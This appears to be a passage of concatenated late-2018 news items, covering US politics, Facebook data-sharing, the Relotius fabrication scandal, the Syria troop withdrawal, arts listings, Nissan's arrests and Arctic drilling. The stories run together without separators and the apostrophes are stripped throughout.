roulette wheel of revolving explanations that makes one dizzy because of their silliness. Just this week, the Trump Foundation agreed to dissolve under pressure from the New York attorney general, who found that the foundation functioned as little more than a checkbook to serve Mr. Trumps business and political interests and engaged in a shocking pattern of illegality, including coordinating with Trumps presidential campaign. Good thing my mother is a loyal Times subscriber. She was just about the only reader of some of my columns this year! Well, yes, thats a bit of an exaggeration. But while some people like to showcase their greatest hits, at the end of every year I like to offer my list of Greatest Duds. These were columns that, yawn, sent readers away in droves. My No. 1 Dud was a column called #MeToo Goes Global, about the need to address sexual violence not just in the U.S. but all over in the world. In part of Papua New Guinea, I noted, 62 percent of men acknowledged having raped a woman. And worldwide, an underage girl is married somewhere every three seconds. Sigh. A reader somewhere in the world clicked away from my column every two seconds. :) My No. 2 Dud was about the importance of bringing human rights, not just nuclear weapons, to the negotiations with North Korea. After all, North Korea is repressive like no other country in the world today: Did you know that triplets are seized from parents and raised by the state, because they are considered auspicious? We could at least use our intelligence communitys satellites to highlight some of the prison camps there and raise the cost of human rights violations. Still, the column disappeared without a ripple. A total of 38 Chinese brands have been ranked on the newly released 2018 edition of the World's 500 Most Influential Brands list from brand consulting and research firm World Brand Lab on Dec 19. Brands from 28 countries are included in the list, with Amazon, Google and Apple grabbing the top three spots. State Grid, Tencent and Haier are the three Chinese companies with the highest rankings, landing at the 30th, 39th, and 41st spots respectively on the full list. The list, published annually since 2004, tracks three key indicators: market share, brand loyalty and global leadership, according to worldbrandlab.com. Some 223 entries, nearly half of the total, are from the United States, 10 less than last year. France and the UK each have 43 and 42 entries this year, finishing in second and third, respectively, with both gaining three spots in 2018. China ranks fifth on a sub-list, Top 10 Countries with the Most Brands Selected, with 38 entries in 2018, up one from last year and two from 2016. Representative brands include State Grid, Tencent, Haier, ICBC and Wuliangye. The 30-year-old Chinese insurance company Ping An is the second-fastest rising star this year, jumping 52 spots from 231st last year to 179th this year. The Chinese companies ranked on this year's list are from multiple industries, with energy, food and beverage, bank, internet, computer and communication, telecom, and media the biggest winners, said the report. Facebook and some of the other largest technology firms in the world faced sharp criticism on Wednesday for failing to disclose the extent of the social networks data-sharing deals, many of which went back to the companys early years. Details of the deals, revealed in a New York Times report on Tuesday, set in motion a fresh round of rebukes from legislators who had singled out Facebooks sharing practices in the recent past. And they came at a moment when the Trump administration, Congress and even some Silicon Valley executives are calling for stricter privacy laws that would govern Facebook and other businesses that trade in huge amounts of personal information. Lawmakers in the United States and Britain on Wednesday called for greater oversight of Facebook, the worlds dominant social media platform. But critics also focused on statements that Facebooks chief executive, Mark Zuckerberg, had made in recent months while defending the company. Senator John Kennedy, the Louisiana Republican, said the revelations made him question Mr. Zuckerbergs decision making. I know hes smart, but sometimes I think hes got no sense, Mr. Kennedy told Fox News, adding that the disclosures were cause to consider stricter privacy laws. Congress is going to have to regulate them and stop this, and I hate to do it, but by God I will if they cant clean up their act. Mr. Mosher, a decorated director and producer and the chairman of the theater department at Hunter College, said that he believed Ms. Miller was making a sincere effort to protect the script, and that she offered to allow Mr. Moshers choice for George Deever if Ann were played by an actress of a different race than her brother. It was unclear why that option was more acceptable, but in any case, Mr. Mosher said, the disagreement put him in an impossible bind, so he left. I was auditioning black actresses, which means the black acting community in New York knew I was doing it, he said. I didnt know what to say to these actors. Ive decided to hire a white girl? I couldnt find somebody? What am I supposed to say? It was a kind of breaking faith with a community that I didnt want to break faith with, he continued. Im afraid it comes rather quickly to you just have the wrong skin color for this part. Mr. Moshers departure was first reported on Tuesday in The Washington Post. He is being replaced by a Tony-winning director, Jack OBrien. A spokeswoman for the production company, the Roundabout Theater Company, said that the actor Mr. Mosher wanted for George is still being considered for that role. He has not been publicly identified. Playwrights have tremendous power in the theater, even in death. An estate can threaten to pull the rights to a show if it disagrees with certain choices, like casting, but Harvey Young, dean of the Boston University College of Fine Arts, said such disputes are rare and tend to be restricted to certain estates. But they happen. Last year, Edward Albees estate refused to allow a theater producer in Oregon to cast a black actor in the role of Nick in Whos Afraid of Virginia Woolf? In a statement at the time, a spokesman for the estate said, Mr. Albee himself said on numerous occasions when approached with requests for nontraditional casting in productions of Virginia Woolf that a mixed-race marriage between a Caucasian and an African-American would not have gone unacknowledged in conversations in that time and place and under the circumstances in which the play is expressly set by textual references in the 1960s. The population of the United States grew at its slowest pace in more than eight decades, the Census Bureau said Wednesday, as the number of deaths increased and the number of births declined. Not since 1937, when the country was in the grips of the Great Depression and birthrates were down substantially, has it grown so slowly, with just a 0.62 percent gain between July 2017 and July 2018. With Americans getting older, fewer babies are being born and more people are dying, demographers said. The past year saw a particularly high number of deaths 2.81 million and relatively few births, 3.86 million. If the pattern continues, immigrants will soon be more important to population gains than the so-called natural increase, which is the number of births minus the number of deaths. That was not the case 10 years ago, when natural increase accounted for a far higher share of the countrys population gains. The aging population is starting to take its toll, said William Frey, a demographer at the Brookings Institution. I think we need to get used to the fact that we are now a slow-growth country. WASHINGTON The number of people signing up for insurance on the federal HealthCare.gov website declined slightly this year, the Trump administration reported on Wednesday, but a last-minute surge in enrollment showed that Americans were still eager for coverage under the Affordable Care Act. In the open enrollment period that ended on Saturday, the number of sign-ups totaled 8.45 million, down from 8.82 million at the same point last year, a drop of about 367,000, or 4 percent, despite warnings that a more precipitous drop could be in the offing. Democrats have repeatedly accused President Trump of sabotaging the Affordable Care Act and its marketplace by promoting short-term health policies with skimpier coverage, substantially cutting enrollment promotion efforts and nearly eliminating funds for navigators who help potential enrollees through the process. Congress also zeroed out the health laws penalty for not being covered, starting in 2019. But Seema Verma, the administrator of the Centers for Medicare and Medicaid Services, said that enrollment remained steady through HealthCare.gov. But beyond policy disappointments, Mr. Ryan used his final moments as speaker to point to the deeply corrosive nature of politics in the age of Mr. Trump, effectively diagnosing the forces that weakened him and ultimately led a man once viewed as the partys future to retire from one of the most powerful posts in Washington at the age of 48. Mr. Ryan never spoke Mr. Trumps name although he made a late edit to his remarks to add a single mention of the president and the vice president, who became my partners in government but his speech was a stinging indictment of Mr. Trumps breed of politics. Outrage has become a brand and, as with anything that gets marketed, it gets scaled up, Mr. Ryan said. It is just emotional pabulum fed from a trough of outrage. Its exhausting. It saps meaning from politics, and it discourages good people from pursuing public service. He might have been talking about himself. Mr. Ryans speech was part of an elaborate valedictory tour that he and his staff have undertaken in recent weeks, including a six-part online video series documenting his career-long quest to enact tax cuts. It is meant to burnish his image as he leaves Congress, the improbable final chapter at least for now of a meteoric ascent in Republican politics that stalled unmistakably with the rise of Mr. Trump and his anti-establishment fervor. Intentionally or not, it served to highlight, in the waning hours of all-Republican rule on Capitol Hill, how the party has changed since Mr. Ryan a proud member of the Republican establishment, known for his zeal for overhauling entitlements was viewed as one of its most promising rising stars. With Mr. Trump in the White House, Mr. Ryans strain of Republicanism is seen as a liability and an object of disdain from the partys ultraconservative base, which prizes partisan battling over governing and regards legislative negotiating as weak capitulation. WASHINGTON The Trump administration announced on Wednesday that it intends to lift sanctions against the business empire of Oleg V. Deripaska, one of Russias most influential oligarchs, after an aggressive lobbying campaign by Mr. Deripaskas companies. The decision by the Treasury Department, which had been postponed for months, was both politically and economically sensitive, and drew criticism from some Democrats and foreign policy analysts that the administration was sending the wrong signal to Moscow about its conduct toward its neighbors and the United States. The companies are among the biggest in the aluminum industry, and questions about their fate had roiled global metals markets. And Mr. Deripaskas stature in Russia made any decision seen to be in his favor tricky for the administration at a time when President Trump is under investigation by the special counsel in connection with Russian interference in the 2016 election. Mr. Deripaska and his businesses including the worlds second-largest aluminum company, Rusal were hit with sanctions in April in retaliation for Russian interference in the election and other hostile acts by Moscow. Still, the issues raised in the case the widening use of national security concerns to justify trade barriers were deemed important enough to warrant the appointment of the three-judge panel, the first time the court has assigned more than a single judge to a trade case since 2005. It would be the first time since the early New Deal era that courts ruled that Congress went too far in delegating its lawmaking powers, Todd N. Tucker, a political scientist with the progressive Roosevelt Institute, wrote this year on the Lawfare website. This is but the latest way that Trumps aberrant behavior is prompting reactions that undermine longstanding norms. The trade laws provision has been used previously before Mr. Trump took office, there had been 26 investigations into whether imports pose a risk to American national security. In six of those cases, the president imposed a trade action, such as quotas, according to the Congressional Research Service. But, according to Ms. Hogan, no president had used Section 232 to impose tariffs before Mr. Trump placed tariffs of 25 percent and 10 percent on steel and aluminum imports this past spring. In June, the American Institute of International Steel, an association of companies that trade with the affected countries, filed a lawsuit attacking the law itself, after a legal challenge to Mr. Trumps authority to use it was dismissed this year. We are challenging the law because no president before Trump ever used the law like this, Mr. Morrison said. The law has an opening, and he has taken advantage of it. There are no limits on what he can do. The judges in the case, all appointed by President Barack Obama, seemed to acknowledge the constraints placed on them by Supreme Court precedents, including the landmark 1976 case FEA v. Algonquin SNG Inc., which upheld the broad use of national security as a justification to impose quotas and licensing fees on imports. WASHINGTON President Trump has always taken a contrarians view of American military power: He wants to command the biggest, toughest forces on earth, and he wants to keep them at home. The lessons that many in the Pentagon and the intelligence agencies learned in the post-9/11 era that deployed forces are key to stopping terrorists before they reach American shores and vital to maintaining the alliances that keep the world safe never resonated with Mr. Trump. He is far more engaged with the idea of using the military to secure the Mexican border than to counter Russia, Iran, North Korea and China. And now, by ordering the small American force of 2,000 troops to leave Syria, Mr. Trump is about to turn his theory into practice. He is doing so to the quiet horror of many of his senior aides, who have long argued that to pull out of Syria (or Afghanistan, another conflict in which Mr. Trump has said America has no legitimate long-term role) is to ignore the lessons of the past two decades. But even Mr. Trumps biggest critics, the Democrats, will have a hard time going after him on this decision. WASHINGTON Foreshadowing a likely partisan battle next year, Robert L. Wilkie, the secretary of Veterans Affairs, faced sharp questioning from Democrats on Wednesday over how the department will carry out a new expansion of private-sector medical care for veterans. Lawmakers attending a joint House-Senate hearing scrutinized evolving standards at the V.A. that dictate how and when veterans can get care outside of the systems 1,300 government hospitals and clinics. The Trump administration is expected to better define the standards next year, but some at the hearing were not satisfied. Senator Jon Tester of Montana, the ranking Democrat on the Senate veterans committee, complained that Congress had been left trying to figure out why the V.A. is taking things in a different direction than what Congress intended. The criticism was notable since Mr. Wilkie has largely faced a friendly audience from both Republicans and Democrats since taking the helm of the department in July. Mr. Relotius, 33, had been writing for the magazine since 2011, and he admitted to making up parts of at least 14 articles in Der Spiegel, the magazine said. That figure could rise, it added. Mr. Relotius wrote almost 60 articles for Der Spiegel, and as a freelancer wrote for a variety of German-language newspapers and magazines. He did not immediately respond to a request for comment. In one article, about Fergus Falls, Minn., Mr. Relotius told of a coal plant employee named Neil Becker (who does not exist), related an anecdote about a restaurant employee (to whom he gave a fictional illness and a misnamed son) and described the view of a power plant from a cafe (whose few windows provide no such view), according to Michele Anderson and Jake Krohn, two residents of the town who, baffled by the claims, spent a year researching them. It was such a weird story, it was so completely different than the town and the people that we knew, Mr. Krohn said in an interview. We thought we were at first completely missing something. Mr. Krohn and Ms. Anderson initially tried to contact Der Spiegel on Twitter, they said, but eventually decided to investigate the articles claims on their own. Mr. Krohn, a technology consultant, and Ms. Anderson, who works in a community arts program, published their work on Medium after learning Mr. Relotius had been fired. In one instance, Ms. Anderson said, Mr. Relotius falsely attached the words Home of Damn Good Folks to a sign that merely says Welcome to Fergus Falls. The State Council Information Office intends to raise the quality, efficiency and professionalism of its services to the media to an even higher level to promote mutual understanding between China and the international community, officials said. Huang Kunming, a member of the Political Bureau of the Communist Party of China Central Committee and head of the Publicity Department of the CPC Central Committee, said at a reception hosted by the information office on Wednesday in Beijing that next year marks the 70th anniversary of the founding of the People's Republic of China, and there have been huge changes in China. Xu Lin, minister of the State Council Information Office said that in the coming year, the office will take a more open stance and work more actively to intensify exchanges and communication with various circles, including the media. "We hope journalists from overseas will travel more around China and obtain more knowledge about China's development so as to present a true and multidimensional China to the world," he said. So far this year, the office organized nearly 560 news conferences, which provided firsthand information to the international community, Xu said. The office also organized many field visits for foreign journalists to help them gain familiarity with the country, he said. The reception was attended by more than 400 people, including media members from China and overseas, ministry spokespersons, foreign envoys to China and representatives of international organizations. Issaku Harada, a Beijing correspondent of The Nikkeia Japanese financial newspapersaid in 2018 he went to a news conference almost every week. "The news conferences have helped us to learn more about China," he said. "I am glad to see that foreign reporters attending the news conferences can get fair treatment, as they are given equal chances of asking questions if they raise their hands." Harada said most officials attending the information office's conferences are vice-ministers, and he hopes more ministers can attend the news conferences as they may give more inclusive answers to questions asked by reporters. MOSCOW A Russian organized crime whistle-blower who died jogging near his home in a London suburb six years ago, raising suspicions of an assassination, more likely than not died of natural causes, a British coroner ruled on Wednesday. The whistle-blower, Alexander Perepilichny, 44, had been in apparent good health before collapsing during his run in Weybridge, southwest of London. Suspicions arose because he had been a witness in a high-profile and politically delicate case that implicated senior Russian officials. In 2015, three years after his death, a botanist reported having found a rare plant poison in Mr. Perepilichnys preserved stomach contents. Rare poisons were the weapon of choice in the assassination and attempted assassination of two other Russians living in Britain, both former security service agents, and the British government directly implicated Moscow in those deaths. Mr. Perepilichny, a banker, had become a witness in a financial fraud case that led to the enactment of a United States sanction law targeting Russia, the Sergei L. Magnitsky Rule of Law Accountability Act. Mr. Perepilichnys role had been to hand over to Swiss authorities wire-transfer records related to the fraud. The day that President Trump ordered the withdrawal of American troops from Syria, the Islamic State claimed that it had set off a bomb in Raqqa, the groups former capital, killing a Kurdish fighter. It was a small, isolated attack, but the Islamic States boast was a canny assertion of the stakes in the American withdrawal and an indication that the group was looking forward to exploiting a changed reality in Syria. The United States withdrawal announced Wednesday is seen by analysts as an abandonment of Americas key allies in Syria, the Kurdish-led Syrian Democratic Forces, and a boon for the Islamic State which still controls territory in southeastern Syria, is believed to still have thousands of fighters there and has continued to carry out attacks. The withdrawal is also expected to give a green light to Turkey to carry out its threatened invasion of northeastern Syria, a move likely to draw Kurdish forces from the fight against the Islamic State in the southeast. A VERY JEWISH CHRISTMAS at Gotham Comedy Club (Dec. 24, 7 and 9 p.m.). The night before Christmas doesnt have to remain church-mouse quiet for all of our Jewish New Yorker friends and neighbors, among them many funny comedians. Sam Morril, who hosted MSGs People Talking Sports and released a Comedy Central special this year, will perform with Marion Grodin, James Goff and Jared Freid. 212-367-9000, gothamcomedyclub.com MELISSA VILLASENOR at Carolines on Broadway (Dec. 20, 7:30 p.m.; Dec. 21-22, 7:30 and 10 p.m.). In her third season as a cast member on NBCs Saturday Night Live, Villasenor can uncork uncanny impersonations not only of actors such as Sarah Silverman, Kathy Griffin and Owen Wilson, but also of singers like Gwen Stefani, Lady Gaga, Ariana Grande and Celine Dion. And thats just scratching the surface of her talent. See and hear what she can do when she has the whole show to herself. 212-757-4100, carolines.com NEW YORK CITY BALLET at the David H. Koch Theater (through Dec. 30). Where better to spend the week of Christmas than in the Land of Sweets? City Ballets annual monthlong presentation of George Balanchines The Nutcracker is well underway, and the coming week brings another parade of the companys talented principals and soloists trading off in myriad roles, including the regal Sugar Plum Fairy and her Cavalier. In addition to the expected marvels, like that massive telescoping Christmas tree, there are subtle recent changes as well, notably in Act II, the long-ingrained cultural stereotypes of which the company has toned down. 212-496-0600, nycballet.com THE RADIO CITY ROCKETTES at Radio City Music Hall (through Jan. 6). Along with the Rockefeller Center Christmas tree, the Rockettess Christmas Spectacular is one of New Yorks most colorful and popular holiday traditions. An army of beaming beauties in candy-cane colors participate in eight dance numbers that range from tap dancing to that famous razor-sharp kick line and other merry scenes of highly synchronized prancing. In a new ending this year, the dancers get aerial reinforcement from a unit of blinking drones. 866-858-0007, rockettes.com/christmas VICKY SIMEGIATOS DANCE COMPANY at the St. George Theater (Dec. 23, 1 and 6 p.m.). A few nights before Christmas, another Nutcracker will stir in the city. This one comes from Simegiatos, a Greek dancer who came to New York to train with American Ballet Theater before opening her own dance school and starting a company. Her troupes annual presentation of The Nutcracker is notable for its stellar guest artists; this year, they are the elegant New York City Ballet principals Teresa Reichlen and Ask la Cour. 718-442-2900, vspac.com It was a difficult decision to leave the Smithsonian, he said, but the association is an organization that looks those issues squarely in the face. His last day will be June 15, 2019; he said he would use the next six months to help with the transition to a new leader. Dr. Skorton, who previously served on the board of the association of medical colleges, succeeded G. Wayne Clough, another former university president, who led the Smithsonian for seven years. During Dr. Skortons four-year tenure, he oversaw important milestones, including the opening of the new National Museum of African American History and Culture on the National Mall which opened in 2016, and the completion of a $1.88 billion capital campaign. He also was in charge of the Smithsonians strategic plan, which includes ambitions to reach a greater audience. He said he was proud of the Smithsonians collaboration with the Victoria and Albert Museum in London, a project that will give the Smithsonian its first permanent gallery abroad. He said he had also made progress on diversity, including initiating the womens history initiative, Because of Her Story, to tell a more complete account of womens achievements in the United States. He said he calculated that, during his term, 70 percent of new hires at director level had been women or people of color, including the first female director of the National Air and Space Museum and the first woman to be named director of the Museum of American History, an appointment announced this month. David Rubenstein, chairman of the Smithsonians Board of Regents, said that the news that Dr. Skorton would be departing had been unexpected but that the board understood his passion for health care. If you wait long enough, what is admired will be relegated to historys dustbin, wrote Ada Louise Huxtable, and if you wait even longer, it will be rescued and restored. That cycle has repeated more than once for Paul Rudolph (1918-1997), one of the most celebrated architects of the 1960s, whose reputation keeps oscillating between fame and neglect. His hulking Yale Art and Architecture Building in New Haven, Conn., completed in 1963, put Brutalism on the map in the United States; his houses, with boggling layouts, were the height of Johnson-era chic. Then his star fell, and clients and critics dismissed his hard-edge slabs for postmodern wackiness. By this century, his buildings were most often in the news when facing the wrecking ball. But time is the best critic. Brutalism is back in vogue, and Rudolph, born a hundred years ago in October, is back in the matte Lucite frame. A pair of exhibitions now on view in Manhattan offers a lesson in the vagaries of architectural taste and a reintroduction to a master of solid and light. The show Paul Rudolph: The Personal Laboratory, through Dec. 30, concentrates on the architects residences, which is fitting given the location: the top floors of the Modulightor Building, a townhouse he built toward the end of his life on East 58th Street, which houses a light-fixtures firm he co-founded. Ng has acted with the generosity of a patron saint, says R.O. Kwon, author of The Incendiaries. The two writers met at the Bread Loaf Writers Conference at Middlebury College, in Vermont, in 2009. She read my book early and blurbed it, which I know is a significant favor to ask of anyone, Kwon said. I havent surveyed exactly who shes blurbed, Kwon continued, but I have especially noticed her name on the books of Asian-American women who are coming out with their first books. And that just seems like a very intentionally generous thing that shes doing. Ngs strategic benevolence is aimed at promoting her peers, of course, but also at fixing skewed, reductive notions of representation. One of my longstanding irritations with the way that we view the world, she said, is like, whos going to be the next Jhumpa Lahiri? Whos going to be the next Amy Tan? Like there can only be one, and you can only get there by dethroning the person whos at the top. I definitely dont want to be the single story of the young, Asian-American woman writer, she added. There are lots of other Asian women, even Chinese-American women, who are doing all kinds of stuff that Im not doing. Ng said that her drive to share her good fortune with her peers comes from her own early career uncertainties. I know something about what its like to be an Asian-American woman whos trying to get her voice out there with a debut novel, she said. It can be a hard sell. On Wednesday, President Trump ordered that all of the approximately 2,000 American troops in Syria be withdrawn within 30 days, tweeting in explanation, We have defeated ISIS in Syria, my only reason for being there during the Trump presidency. These books explore how the Islamic State (ISIS) gained power, the damage they have caused and why many were drawn to join them. Image BLACK FLAGS The Rise of ISIS By Joby Warrick 344 pages. Doubleday. (2015) In this Pulitzer Prize winning book, Warrick, a reporter for The Washington Post, paints a portrait of ISIS and its founder, Abu Musab al-Zarqawi. Warrick shows that the seed for ISIS was planted long before it became widely known in the early 2010s and also makes clear the crucial role that American missteps and misjudgments would play in fueling his rise and the advance of the Islamic State, according to former Times critic Michiko Kakutani. Warrick has a gift for constructing narratives with a novelistic energy and detail, she wrote. Image THE LAST GIRL My Story of Captivity, and My Fight Against the Islamic State By Nadia Murad with Jenna Krajeski 306 pp. Tim Duggan Books. (2018) Get the DealBook newsletter to make sense of major business and policy headlines and the power-brokers who shape them. __________ This was the year populists made real efforts to challenge the economic consensus that has set the terms of the global economy for decades. How are they doing? Its a mixed bag. President Trumps trade war achieved some gains but has yet to deliver the type of change many populists have called for, like a rollback of Chinas interventionist industrial policies. Britains plan to leave the European Union has not made it through the countrys Parliament. But Italys populist government this week reached a fiscal deal with the European Union that appears to be a slight win for the country. And some of the populists economic ideas appear to be gaining ground. Mr. Trumps trade wars. Populists have long contended that the global system of free trade hurt the livelihoods of many American workers. Mr. Trumps trade war showed that it was not easy to force big changes in the arrangements that underpin the flow of trillions of dollars of trade. Coders who dont mind a little blood and gore The next day, back at company headquarters, I sat in one of the less Montessori-style conference rooms with Steve Dickmann, 72, the chief administrative officer. He became animated when explaining some of the more functional, less fantastical features of the space. The whole campus is designed to promote productivity, creativity, comfort, he said. There was a philosophy behind everything. All employees have offices, because studies show that workers in open floor plans get interrupted frequently. Stairs promote socialization, but buildings cant be more than three stories, because workers are reluctant to climb more than a flight or two. Every conference room must have windows so that visitors dont feel hemmed in during days and days of training. The overriding mission, Mr. Dickmann said, was to ensure the safety of patients at facilities that use Epic software. If health care programmers make mistakes, he said, bad things can happen. Epics coders often leave campus to embed in operating and recovery rooms, where they watch nurses ripping the tops off blood bags and surgeons opening up peoples chest cavities. Its an experience that young engineers are unlikely to get at, say, Facebook or Snap, working on algorithms that tailor ads to demographic groups or insert rainbow vomit into photographs. Programmers regularly faint at the sight of beating hearts, scalpels and bodily fluids. There were people that would pass out in the hallway of hospitals, said Aaron Webb, who worked at Epic for 10 years as a software developer. He watched hundreds of surgeries, often with his team in tow, before moving to Seattle, where he now works for a business that matches companies with storage space. But if you cant understand what your users are going through, youre not going to design a good system. The National Confucius Research Institute of China recently honored Professor Patrick Mendis with the International Confucius Award. The Sri Lankan-born American diplomat is currently a distinguished visiting professor of Sino-American relations at the renowned Yenching Academy of Peking University in Beijing. A visiting research fellow of the Confucius Institute in Qufu for almost five years, Professor Mendis has been closely involved in promoting Chinese culture and Confucian values in addition to promoting better understanding between China and the United States. A former Rajawali senior fellow of the Harvard Kennedy School's Ash Center for Democratic Governance, and a research associate of the Fairbank Center for Chinese Studies at Harvard University, he currently serves as an American commissioner to the Paris-based UNESCO. Professor Yang Chaoming, president of the Confucius Research Institute of China, welcomed Professor Mendis and other distinguished researchers at the Qufu symposium. The invited experts included Dr. Mi Huaiyong, deputy Party secretary and vice president of the institute, and other nationally-prominent Confucius scholars like Dr. Wang Junlin and Dr. Liu Guangsheng. Yang described the main guest as "a friend of China" committed to "promoting and disseminating China's excellent traditional culture, especially Confucianism in the world." Prior to receiving the certificate of honor, the Yenching Academy professor made a penetrating presentation entitled "Confucius in America: Inspiring the Founding Generation." He then conducted in-depth discussions with the invited scholars on the influence of Confucian thoughts in the founding of the United States and the underlying cultural comparisons between China and America. With numerous examples, he highlighted that Confucianism had an enduring impact on the thoughts of the "Founding Fathers" of the United States, especially Benjamin Franklin, Thomas Paine, and Charles Thomson. Even George Washington and Thomas Jefferson benefited from China trade and Confucian culture, he said. Confucian philosophy was widely respected in the United States and played an important role in world peace and development, Professor Mendis emphasized. He also pointed out the commonalities in the "square" and "circle" city planning of Beijing and Washington, D.C., which he argued derives from the legend of Fuxi and Nuwa. In this Chinese origin story, the two cultural heroes hold a compass and a square to demonstrate the connection between heaven and earth. Similar to the mythology of Fuxi and Nuwa, many American Christians believe that the origin of humanity can be traced back to the original couple of Adam and Eve, as described in the Christian Bible. Both of these Chinese and American origin myths share striking similarities and cast similar ideas about the beginning of human civilization. As the two great countries with cultural consensus, China and the United States can achieve win-win cooperation through effective communication and dialogue by jointly promoting world harmony and building a community of shared future for mankind, he concluded. Presenting the award, President Yang expressed China's appreciation and respect for the contributions made by Professor Mendis in promoting Confucianism and better understanding between China and the United States. Can you ask a question that isnt obvious as heck? Try us at workfriend@nytimes.com. The Please Police My co-workers never say please. In an effort to be the change I want to see in the world, I say it all the time, but it is never reciprocated. They ask nicely, they favor could you over can you, and overall theyre pretty polite. But no please. Ever. Before you ask, yes, they usually do say thank you. But there is only one magic word, and I miss it. Is this a lost cause? M.M. So youre a cop? Also, your cause is very lost. Please is done. Please is the opening to sentences like Take out the garbage or Clean your room or Have your TPS report on my desk by 5 p.m. It reeks of 1950s New England parenthood and bosses who chomp on cigars and the old kind of stereotype about librarians, not the new supercool defender-of-freedom-and-liberty kind of librarian we know and enjoy today. The ability of please to make a sentence polite evaporated a generation ago. But now that you mention it, Hey, could you as an opening in a business request tactic is both widespread and irritating. I do it constantly! Its smug, its fake-friendly , and it muddies the water. If you cant really say No, I cant in response, then the question is crud. Lets kill that, instead of reinstating the ancient please. (I will try, and I will fail.) Last month, Greg Kelly, a Nissan board member and aide-de-camp to the companys embattled chairman, Carlos Ghosn, planned to join the companys meeting as he usually did, via video conference from his home in a leafy Nashville suburb. Then he got a call from Japan. Hari Nada, a close friend and a senior vice president at Nissan, invited Mr. Kelly to come to the automakers headquarters outside Tokyo. Mr. Kelly told Mr. Nada he could not travel because he was getting ready to undergo surgery to treat a spinal condition, according to an account of the events provided by Mr. Kellys family and lawyer. Mr. Nada assured Mr. Kelly that he would be back home by Thanksgiving well ahead of his scheduled operation. Nissan would even send a corporate jet to pick him up a luxury Mr. Kelly had rarely received. Not long after the jet touched down in Tokyo, Mr. Kelly was arrested, part of a meticulously planned operation to bring him and Mr. Ghosn into custody on charges that they violated financial reporting laws by understating Mr. Ghosns compensation. Japanese prosecutors say Mr. Kelly, who was in charge of human resources at the company before becoming a board member, was the mastermind behind a scheme that allowed Mr. Ghosn to illegally omit $44 million in compensation, about half of his total pay, over five years from securities filings. Lawyers in Japan for both men have denied the charges. The former manager said her colleagues felt they couldnt afford to promote someone only to lose them for several weeks. Financial pressures also explain why 49 of Planned Parenthoods 55 regional offices which each manage a set of local clinics do not provide paid maternity leave. Employees in about 20 of those regions can use short-term disability to earn a portion of their salaries while on leave. The New York headquarters provides six weeks of paid parental leave. Last year, Christine Charbonneau, who runs the regional office in Seattle, asked her human resources department to find out how much it would cost to cover maternity leave for the region. The estimate: $2 million a year. That is the entire annual budget of some clinics. Ms. Charbonneaus office, which oversees 27 clinics in the Northwest, generates $77 million a year in revenue. But states like Washington and Idaho have cut government funding in recent years. Paying for maternity leave, Ms. Charbonneau said, could force her to close clinics. It is easy to accuse someone of hypocrisy if youre not the one trying to find $2 million out of thin air, she said. You try to be the Planned Parenthood that donors expect, and yet it is unattainable. Planned Parenthoods policies, though, can make it hard for employees to scrape by after giving birth. In August, Marissa Hamilton, an employee at Planned Parenthood in Colorado, gave birth to a baby boy. He was eight weeks premature, weighed less than four pounds and spent weeks in neonatal intensive care. The office doesnt provide paid maternity leave. Want climate news in your inbox? Sign up here for Climate Fwd:, our email newsletter. The Interior Department on Thursday took a key step toward allowing oil and gas drilling in a pristine wildlife refuge in Arctic Alaska, putting forth proposals it said would protect the animals there but that would end decades of environmental protections. The four possible plans, which would determine what parts of the coastal plain of the Arctic National Wildlife Refuge could be opened to drilling , were included in a draft environmental report prepared by the Bureau of Land Management. After a 45-day public comment period, the bureau is expected to select one of the alternatives and approve a final report early next summer. If the process survives expected court challenges by environmental and conservation groups, as well as efforts by the incoming Democratic majority in the House of Representatives to slow it down, lease sales for rights to drill for oil and gas could be held before the end of 2019. Oil company exploration and development plans would require additional studies and approvals, however, so any actual drilling could be a decade or more away. When Diana Tandia makes jollof rice, she lets it burn a little at the bottom of the pot, just enough so that smoke rises to possess every grain. At Berber Street Food, the tiny restaurant she opened in the West Village in September, the rice arrives stained reddish-orange, with smoke still in its soul. After a wallow in melted tomatoes, bay leaves and thyme, its as rich as if daintier in scale than the grand heaps served at West African restaurants in Harlem or the Bronx. Other dishes draw from the cuisines of North Africa, like thumb-lengths of lamb kofta, the meat vivid with mint and a daub of housemade harissa, profoundly earthy and sunny at once. Ms. Tandias harissa is an essential contribution to the city, evoking the fervor of chiles without their spiky heat. Most of the new vineyards are far bigger than the Laithwaitess and much better financed. Mark Driver was an investment manager and his wife, Sarah, a solicitor, when they caught the wine bug in the early 21st century. After tasting some English sparkling wines in 2009, they bought almost 600 acres in the South Downs of Sussex near Polegate, just three miles from the English Channel. So far they have planted more than 200 acres on a south-facing chalk slope. Their first vintage of Rathfinny, a fine, austere 2014 blanc de blancs Brut, was just released this year. Hambledon in Hampshire, which released its first sparkling wine in 2011, has about 60 acres of productive vines, with another 140 or so already planted. Chapel Down, Englands biggest wine producer, already has almost 400 acres of vineyards, with almost 300 more to be planted through 2020. Nyetimber had about 250 acres of vineyard in 2011. By 2018, it had about 420 acres, and another 210 will become productive in 2020. Gusbourne Estate, which makes excellent blanc de blancs among other sparkling wines in Kent, had about 49 acres when I first visited in 2011. Now it is farming almost 150 acres in Kent and another 75 in West Sussex. Nobody would mistake an English vineyard for one in Champagne. Walking through Gusbournes Boot Hill Vineyard with the winemaker Charlie Holland on a blustery, misty fall day, I noted that the rows of vines were far wider than one would find in Champagne, and the vines trained higher on their trellises. In order to achieve ripeness in the colder English climate, the vines need to be planted less densely than in France, Mr. Holland said, to minimize the competition. And the vines need to have a denser canopy of leaves to promote photosynthesis, so the rows have to be wider apart so the leaves in one row wont shade the fruit in another. Its not easy to say that any particular development in health or medicine was the most important in a given year. But if we had to choose some highlights, wed opt for these unforgettable events and findings. We learned many doctors do not disclose financial ties when they publish research. Before reading the article: Consider the purpose of prisons. Should they protect society from dangerous criminals? Should they punish people? Should they serve as a deterrent to crime? Or should they try to rehabilitate people and help them get back on their feet? Then, watch this two-minute opinion video by Meek Mill, the rapper, about the need for criminal justice reform. What is your reaction to the video? Do you think the United States prison system is working? Or does it need an overhaul? Now, read the article, Senate Passes Bipartisan Criminal Justice Bill, and answer the following questions: 1. The author calls the set of reforms in the First Step Act the most substantial changes in a generation to the tough-on-crime prison and sentencing laws that ballooned the federal prison population and created a criminal justice system that many conservatives and liberals view as costly and unfair. What makes these changes so substantial? 2. According to the article, support for the bill came from an unlikely coalition. Who are some of the key organizations and people that lobbied for the reforms, and why is their cooperation surprising? What one word best represents 2018? Why? Two leading dictionary companies have unveiled their annual selections. Oxford Dictionaries has chosen toxic as its word of the year, while Merriam-Webster has selected justice. In Toxic Is Oxfords Word of the Year. No, Were Not Gaslighting You, Jennifer Schuessler writes: Its official: 2018 is toxic. Well, 